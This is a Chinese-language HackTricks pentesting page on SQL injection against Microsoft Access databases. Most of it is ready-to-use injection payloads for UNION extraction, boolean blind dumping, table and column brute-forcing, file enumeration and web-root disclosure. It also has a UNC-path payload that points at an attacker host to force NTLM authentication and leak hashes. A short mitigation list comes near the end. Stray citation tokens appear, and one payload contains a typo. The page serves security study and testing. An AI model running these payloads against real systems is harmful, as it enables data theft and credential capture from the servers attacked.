MS Access SQL Injection
Reading time: 13 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
在线游乐场
数据库限制
字符串连接
字符串连接可以使用 & (%26)
和 + (%2b)
字符。
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
评论
在 MS Access 中没有评论,但显然可以通过 NULL 字符删除查询的最后部分:
1' union select 1,2 from table%00
如果这不起作用,您可以随时修复查询的语法:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
它们不被支持。
LIMIT
LIMIT
操作符 未实现。然而,可以使用 TOP
操作符 将 SELECT 查询结果限制为 前 N 行。TOP
接受一个整数作为参数,表示要返回的行数。
1' UNION SELECT TOP 3 attr FROM table%00
就像 TOP 一样,你可以使用 LAST
来获取 最后的行。
UNION 查询/子查询
在 SQLi 中,你通常会想以某种方式执行一个新查询,以从其他表中提取信息。MS Access 总是要求在 子查询或额外查询中指明 FROM
。
因此,如果你想执行 UNION SELECT
或 UNION ALL SELECT
或在条件中使用括号中的 SELECT
,你总是 需要指明一个有效的表名的 FROM
。
因此,你需要知道一个 有效的表名。
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
warning
这将允许您在不需要知道表名的情况下提取当前表的值。
MS Access 允许 奇怪的语法,例如 '1'=2='3'='asd'=false
。通常,SQL 注入将位于 WHERE
子句中,我们可以利用这一点。
想象一下,您在 MS Access 数据库中有一个 SQLi,并且您知道(或猜测)某一 列名是 username,而这是您想要 提取 的字段。您可以检查在使用链式等号技术时,Web 应用程序的不同响应,并可能使用 Mid
函数通过 布尔注入 提取内容。
'=(Mid(username,1,3)='adm')='
如果你知道 表的名称 和 列 以进行转储,你可以使用 Mid
、LAST
和 TOP
的组合通过布尔 SQLi 泄露所有信息:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Feel free to check this in the online playground.
暴力破解表名
使用链式等号技术,您还可以暴力破解表名,例如:
'=(select+top+1+'lala'+from+<table_name>)='
您还可以使用一种更传统的方法:
-1' AND (SELECT TOP 1 <table_name>)%00
随时可以在在线游乐场中检查此内容。
- Sqlmap 常见表名: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- 另一个列表在 http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
强行破解列名
您可以使用链式等号技巧强行破解当前列名:
'=column_name='
或使用 group by:
-1' GROUP BY column_name%00
您可以使用以下方法对不同表的列名进行暴力破解:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Dumping data
我们已经讨论过 链式等号技术 从当前和其他表中转储数据。但还有其他方法:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
简而言之,该查询使用“if-then”语句,以便在成功时触发“200 OK”,否则触发“500 Internal Error”。利用TOP 10运算符,可以选择前十个结果。随后使用LAST仅考虑第十个元组。在该值上,使用MID运算符,可以进行简单的字符比较。通过适当更改MID和TOP的索引,我们可以转储所有行的“username”字段的内容。
基于时间的(盲)技巧
Jet/ACE SQL本身不暴露原生的SLEEP()
或WAITFOR
函数,因此传统的基于时间的盲注入受到限制。然而,您仍然可以通过强制引擎访问慢或不响应的网络资源来引入可测量的延迟。因为引擎会在返回结果之前尝试打开文件,所以HTTP响应时间反映了到攻击者控制的主机的往返延迟。
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
将 UNC 路径指向:
- 一个位于高延迟链接后的 SMB 共享
- 一个在
SYN-ACK
后丢弃 TCP 握手的主机 - 一个防火墙 sinkhole
远程查找引入的额外秒数可以用作 带外定时神谕 来判断布尔条件(例如,仅在注入的谓词为真时选择慢路径)。微软在 KB5002984 中记录了远程数据库行为和相关的注册表杀开关。 citeturn1search0
其他有趣的函数
Mid('admin',1,1)
从位置 1 获取长度为 1 的子字符串(初始位置为 1)LEN('1234')
获取字符串长度ASC('A')
获取字符的 ASCII 值CHR(65)
从 ASCII 值获取字符串IIF(1=1,'a','b')
如果则COUNT(*)
计算项目数量
枚举表
从 这里 您可以看到获取表名的查询:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
然而,请注意,在没有权限读取表 MSysObjects
的情况下,发现 SQL 注入是非常典型的。
文件系统访问
Web 根目录完整路径
Web 根目录的绝对路径知识可能会促进进一步的攻击。如果应用程序错误没有完全隐藏,可以通过尝试从一个不存在的数据库中选择数据来揭示目录路径。
http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access 会返回一个包含 Web 目录完整路径名的错误消息。
文件枚举
以下攻击向量可用于推断远程文件系统上文件的存在。如果指定的文件存在,MS Access 会触发一条错误消息,告知数据库格式无效:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
另一种枚举文件的方法是指定一个 database.table 项。如果指定的文件存在,MS Access 会显示一条数据库格式错误消息。
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb 文件名猜测
数据库文件名 (.mdb) 可以通过以下查询推断:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
其中name[i] 是一个 .mdb 文件名,realTable 是数据库中存在的表。尽管 MS Access 总是会触发一条错误消息,但可以区分无效文件名和有效的 .mdb 文件名。
远程数据库访问与 NTLM 凭证盗窃 (2023)
自 Jet 4.0 起,每个查询都可以通过 IN '<path>'
子句引用位于不同 .mdb/.accdb
文件中的表:
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
如果用户输入被连接到 IN 之后的部分(或连接到 JOIN … IN
/ OPENROWSET
/ OPENDATASOURCE
调用),攻击者可以指定一个指向他们控制的主机的 UNC 路径。引擎将会:
- 尝试通过 SMB / HTTP 进行身份验证以打开远程数据库;
- 泄露 web 服务器的 NTLM 凭据(强制身份验证);
- 解析远程文件 - 一个格式错误或恶意的数据库可以触发 Jet/ACE 内存损坏漏洞,这些漏洞已经被多次修补(例如 CVE-2021-28455)。
实际注入示例:
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
影响:
- 通过带外方式提取 Net-NTLMv2 哈希(可用于中继或离线破解)。
- 如果利用新的 Jet/ACE 解析器漏洞,可能导致远程代码执行。
缓解措施(即使对于遗留的 Classic ASP 应用程序也推荐):
- 在
HKLM\Software\Microsoft\Jet\4.0\Engines
下添加注册表值AllowQueryRemoteTables = 0
(以及在相应的 ACE 路径下)。这强制 Jet/ACE 拒绝以\\
开头的远程路径。 - 在网络边界阻止出站 SMB/WebDAV。
- 清理/参数化可能出现在
IN
子句中的查询的任何部分。
Check Point Research 在 2023 年重新审视了强制身份验证向量,证明在缺少注册表键的情况下,它仍然可以在完全修补的 Windows Server 上被利用。 citeturn0search0
.mdb 密码破解工具
Access PassView 是一个免费的实用程序,可用于恢复 Microsoft Access 95/97/2000/XP 或 Jet 数据库引擎 3.0/4.0 的主数据库密码。
参考文献
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
- Microsoft KB5002984 – 配置 Jet/ACE 以阻止远程表
- Check Point Research – 滥用 Microsoft Access 连接表进行 NTLM 强制身份验证(2023)
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。